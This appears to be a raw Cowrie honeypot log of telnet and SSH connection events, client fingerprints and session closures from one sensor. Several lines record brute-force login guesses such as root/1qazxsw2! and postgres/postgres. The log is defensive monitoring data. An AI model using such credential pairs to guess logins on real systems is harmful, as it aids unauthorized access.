{"eventid":"cowrie.session.closed","duration":4.1939451694488525,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:17.950029Z","src_ip":"66.132.172.220","session":"7d32fa07316d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.03341007232666,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:18.145129Z","src_ip":"66.132.172.183","session":"def31bdebe82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38552,"dst_ip":"10.17.0.5","dst_port":23,"session":"67dc3bccd8f0","protocol":"telnet","message":"New connection: 45.10.154.244:38552 (10.17.0.5:23) [session: 67dc3bccd8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:19.052990Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":34264,"dst_ip":"159.203.135.109","dst_port":22,"session":"28dc74a746f7","protocol":"ssh","message":"New connection: 113.163.156.190:34264 (159.203.135.109:22) [session: 28dc74a746f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:20.195611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:20.201454Z","src_ip":"113.163.156.190","session":"28dc74a746f7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"6.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:20.348342Z","src_ip":"122.168.114.167","session":"f269ad867928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"51.1","message":"Connection lost after 51.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:20.353582Z","src_ip":"122.168.114.167","session":"f269ad867928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:20.457984Z","src_ip":"113.163.156.190","session":"28dc74a746f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":60994,"dst_ip":"10.17.0.5","dst_port":22,"session":"d80a5dc28d20","protocol":"ssh","message":"New connection: 221.139.88.149:60994 (10.17.0.5:22) [session: d80a5dc28d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:20.520278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:20.567456Z","src_ip":"221.139.88.149","session":"d80a5dc28d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":53594,"dst_ip":"159.203.135.109","dst_port":23,"session":"0491adb60398","protocol":"telnet","message":"New connection: 167.99.38.72:53594 (159.203.135.109:23) [session: 0491adb60398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:20.639740Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:20.786723Z","src_ip":"221.139.88.149","session":"d80a5dc28d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45424,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc7b8af29857","protocol":"telnet","message":"New connection: 45.10.154.244:45424 (10.17.0.5:23) [session: bc7b8af29857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:21.018209Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.220","src_port":1396,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21e69761271","protocol":"telnet","message":"New connection: 66.132.172.220:1396 (10.17.0.5:23) [session: e21e69761271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:21.238709Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2!","message":"login attempt [root/1qazxsw2!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:21.513895Z","src_ip":"113.163.156.190","session":"28dc74a746f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvbnm.","message":"login attempt [root/Zxcvbnm.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:21.619962Z","src_ip":"221.139.88.149","session":"d80a5dc28d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47708,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d842fe87676","protocol":"telnet","message":"New connection: 45.10.154.244:47708 (10.17.0.5:23) [session: 1d842fe87676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:21.712006Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:22.773723Z","src_ip":"113.163.156.190","session":"28dc74a746f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:22.894751Z","src_ip":"221.139.88.149","session":"d80a5dc28d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.716190099716187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:24.113759Z","src_ip":"45.10.154.244","session":"be41cdbd898c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57922,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdeb21fb80ef","protocol":"telnet","message":"New connection: 45.10.154.244:57922 (10.17.0.5:23) [session: bdeb21fb80ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:24.361350Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":59198,"dst_ip":"10.17.0.5","dst_port":23,"session":"806b06230d8d","protocol":"telnet","message":"New connection: 45.10.154.244:59198 (10.17.0.5:23) [session: 806b06230d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:24.677052Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60080,"dst_ip":"10.17.0.5","dst_port":23,"session":"35e3b25b2a49","protocol":"telnet","message":"New connection: 45.10.154.244:60080 (10.17.0.5:23) [session: 35e3b25b2a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:24.870567Z"}
{"eventid":"cowrie.session.closed","duration":44.62573289871216,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:25.478636Z","src_ip":"185.26.126.47","session":"8b6b6a520606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36562,"dst_ip":"10.17.0.5","dst_port":23,"session":"651d83404195","protocol":"telnet","message":"New connection: 45.10.154.244:36562 (10.17.0.5:23) [session: 651d83404195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:26.151881Z"}
{"eventid":"cowrie.session.closed","duration":37.894630670547485,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:26.170634Z","src_ip":"167.99.38.72","session":"4f0a9452ebce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38590,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5b13b863bce","protocol":"telnet","message":"New connection: 45.10.154.244:38590 (10.17.0.5:23) [session: d5b13b863bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:26.690035Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43460,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7912f83e714","protocol":"telnet","message":"New connection: 45.10.154.244:43460 (10.17.0.5:23) [session: c7912f83e714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:27.931715Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43664,"dst_ip":"10.17.0.5","dst_port":23,"session":"923a52b5c28b","protocol":"telnet","message":"New connection: 45.10.154.244:43664 (10.17.0.5:23) [session: 923a52b5c28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:27.984977Z"}
{"eventid":"cowrie.session.closed","duration":35.474997997283936,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:28.217423Z","src_ip":"167.99.38.72","session":"832162e934a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":38800,"dst_ip":"159.203.135.109","dst_port":23,"session":"9885831127b0","protocol":"telnet","message":"New connection: 34.69.118.1:38800 (159.203.135.109:23) [session: 9885831127b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:28.392363Z"}
{"eventid":"cowrie.session.closed","duration":31.034510850906372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:28.451864Z","src_ip":"45.10.154.244","session":"a3ce7566bb51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46200,"dst_ip":"10.17.0.5","dst_port":23,"session":"587b8cb4eea7","protocol":"telnet","message":"New connection: 45.10.154.244:46200 (10.17.0.5:23) [session: 587b8cb4eea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:28.630223Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":38816,"dst_ip":"159.203.135.109","dst_port":23,"session":"290541415ade","protocol":"telnet","message":"New connection: 34.69.118.1:38816 (159.203.135.109:23) [session: 290541415ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:29.614930Z"}
{"eventid":"cowrie.session.closed","duration":12.779750108718872,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:34.018350Z","src_ip":"66.132.172.220","session":"e21e69761271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":41312,"dst_ip":"10.17.0.5","dst_port":23,"session":"f486a4bf58ef","protocol":"telnet","message":"New connection: 45.10.154.244:41312 (10.17.0.5:23) [session: f486a4bf58ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:35.353326Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45336,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc8c85f5c9dd","protocol":"telnet","message":"New connection: 45.10.154.244:45336 (10.17.0.5:23) [session: cc8c85f5c9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:36.501164Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":59428,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cbe794aff33","protocol":"telnet","message":"New connection: 34.69.118.1:59428 (159.203.135.109:23) [session: 2cbe794aff33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:40.761207Z"}
{"eventid":"cowrie.session.closed","duration":31.047472715377808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:41.068323Z","src_ip":"45.10.154.244","session":"9c88036fc2f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.261968851089478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:42.050494Z","src_ip":"45.10.154.244","session":"4b809966a362","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:42.063233Z","src_ip":"122.168.114.167","session":"2d4458735927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.769760131835938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:43.001027Z","src_ip":"34.69.118.1","session":"122859e276e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64408802986145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:44.175382Z","src_ip":"45.10.154.244","session":"2cab47eb0562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":54956,"dst_ip":"10.17.0.5","dst_port":22,"session":"55aabdbd5505","protocol":"ssh","message":"New connection: 160.251.101.169:54956 (10.17.0.5:22) [session: 55aabdbd5505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:44.619412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:44.626930Z","src_ip":"160.251.101.169","session":"55aabdbd5505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:44.780689Z","src_ip":"160.251.101.169","session":"55aabdbd5505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46830,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed533167cb23","protocol":"telnet","message":"New connection: 45.10.154.244:46830 (10.17.0.5:23) [session: ed533167cb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:44.834273Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":40422,"dst_ip":"159.203.135.109","dst_port":23,"session":"d42f2d57b02c","protocol":"telnet","message":"New connection: 167.99.38.72:40422 (159.203.135.109:23) [session: d42f2d57b02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:44.948610Z"}
{"eventid":"cowrie.session.closed","duration":30.725589275360107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:45.264367Z","src_ip":"45.10.154.244","session":"d46fe0ec7523","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"abcd1234","message":"login attempt [deploy/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:45.392370Z","src_ip":"160.251.101.169","session":"55aabdbd5505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.19183015823364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:45.672734Z","src_ip":"167.99.38.72","session":"39ca77a5e19a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.718563318252563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:46.203226Z","src_ip":"45.10.154.244","session":"4ea3cffdc603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48794,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6c09d1a480","protocol":"telnet","message":"New connection: 45.10.154.244:48794 (10.17.0.5:23) [session: 4f6c09d1a480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:46.360976Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:46.550134Z","src_ip":"160.251.101.169","session":"55aabdbd5505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54366,"dst_ip":"10.17.0.5","dst_port":23,"session":"56a6450db304","protocol":"telnet","message":"New connection: 45.10.154.244:54366 (10.17.0.5:23) [session: 56a6450db304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:46.855607Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55432,"dst_ip":"10.17.0.5","dst_port":23,"session":"b68a76bb99b5","protocol":"telnet","message":"New connection: 45.10.154.244:55432 (10.17.0.5:23) [session: b68a76bb99b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:47.126090Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58668,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f6dd11713d","protocol":"ssh","message":"New connection: 122.168.114.167:58668 (159.203.135.109:22) [session: 11f6dd11713d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:47.297589Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57934,"dst_ip":"10.17.0.5","dst_port":23,"session":"456980de2d7a","protocol":"telnet","message":"New connection: 45.10.154.244:57934 (10.17.0.5:23) [session: 456980de2d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:47.747886Z"}
{"eventid":"cowrie.session.closed","duration":"40.9","message":"Connection lost after 40.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:49.555179Z","src_ip":"122.168.114.167","session":"2d4458735927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.170419931411743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:50.223292Z","src_ip":"45.10.154.244","session":"67dc3bccd8f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":44234,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc19a9c04a6","protocol":"telnet","message":"New connection: 167.99.38.72:44234 (159.203.135.109:23) [session: 9dc19a9c04a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:51.381393Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":40356,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace5f797c0bf","protocol":"telnet","message":"New connection: 45.10.154.244:40356 (10.17.0.5:23) [session: ace5f797c0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:51.498363Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":57352,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a1dd09a841","protocol":"ssh","message":"New connection: 148.230.169.229:57352 (10.17.0.5:22) [session: b9a1dd09a841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:52.025359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:52.029789Z","src_ip":"148.230.169.229","session":"b9a1dd09a841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.043819665908813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:52.061925Z","src_ip":"45.10.154.244","session":"bc7b8af29857","protocol":"telnet"}
